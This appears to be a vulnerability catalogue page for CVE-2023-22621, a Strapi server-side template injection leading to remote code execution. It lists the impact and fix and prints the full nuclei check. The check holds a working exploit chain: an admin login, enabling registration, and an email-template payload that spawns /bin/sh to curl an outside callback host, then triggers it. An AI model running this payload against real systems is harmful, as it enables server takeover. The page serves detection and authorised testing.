Browse / CVEs / CVE-2023-22621
CVE-2023-22621· strapi / strapi· CWE-74
Strapi Versions <=4.5.5 - SSTI to Remote Code Execution
Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
Impact
Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform.
Fix
Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates.
How to confirm it
Send: POST /admin/login
Positive when: status_code == 200 and contains_all(body, "token","isActive") and contains(content_type, "application/json")
Send: PUT /users-permissions/advanced
Positive when: status_code == 200 and contains_all(body, "ok","true") and contains(content_type, "application/json")
Send: PUT /users-permissions/email-templates
Positive when: status_code == 200 and contains_all(body, "ok","true") and contains(content_type, "application/json")
Send: POST /api/auth/local/register
Positive when: contains in interactsh_protocol "dns" AND contains "ApplicationError" AND contains in content_type "application/json"Run it with nuclei: nuclei -id CVE-2023-22621 -u <target>
The full check
id: CVE-2023-22621
info:
name: Strapi Versions <=4.5.5 - SSTI to Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
impact: |
Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform.
remediation: |
Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates.
reference:
- https://github.com/strapi/strapi/releases
- https://github.com/sofianeelhor/CVE-2023-22621-POC
- https://github.com/strapi/security-patches
- https://github.com/ARPSyndicate/cvemon
- https://nvd.nist.gov/vuln/detail/CVE-2023-22621
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2023-22621
cwe-id: CWE-74
epss-score: 0.706
epss-percentile: 0.99397
cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: strapi
product: strapi
shodan-query: html:"Welcome to your Strapi app"
tags: cve,cve2023,strapi,ssti,rce,intrusive,authenticated,vuln,vkev
flow: http(1) && http(2) && http(3) && http(4)
variables:
email: "{{email}}"
password: "{{password}}"
address: "{{randstr}}@{{rand_base(5)}}.com"
http:
- raw:
- |
POST /admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{email}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "token","isActive")'
- 'contains(content_type, "application/json")'
condition: and
internal: true
extractors:
- type: json
part: body
name: token
json:
- ".data.token"
internal: true
- raw:
- |
PUT /users-permissions/advanced HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"{{RootURL}}","default_role":"authenticated"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "ok","true")'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
PUT /users-permissions/email-templates HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{
"email-templates": {
"reset_password": {
"display": "Email.template.reset_password",
"icon": "sync",
"options": {
"from": {
"name": "Administration Panel",
"email": "[email protected]"
},
"response_email": "",
"object": "Reset password",
"message": "<p>We heard that you lost your password. Sorry about that!</p>\n\n<p>But dont worry! You can use the following link to reset your password:</p>\n<p><%= URL %>?code=<%= TOKEN %></p>\n\n<p>Thanks.</p>"
}
},
"email_confirmation": {
"display": "Email.template.email_confirmation",
"icon": "check-square",
"options": {
"from": {
"name": "Administration Panel",
"email": "[email protected]"
},
"response_email": "",
"object": "Account confirmation",
"message": "<%= `${ process.binding('spawn_sync').spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl {{interactsh-url}}\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"/*<>%=*/}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>"
}
}
}
}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "ok","true")'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
POST /api/auth/local/register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"email": "{{address}}",
"username": "{{randstr_1}}",
"password": "{{randstr_2}}"
}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "ApplicationError"
- type: word
part: content_type
words:
- application/jsonReferences
- https://github.com/strapi/strapi/releases
- https://github.com/sofianeelhor/CVE-2023-22621-POC
- https://github.com/strapi/security-patches
- https://github.com/ARPSyndicate/cvemon
- https://nvd.nist.gov/vuln/detail/CVE-2023-22621
Use this check only on systems you are authorised to test. Where the data comes from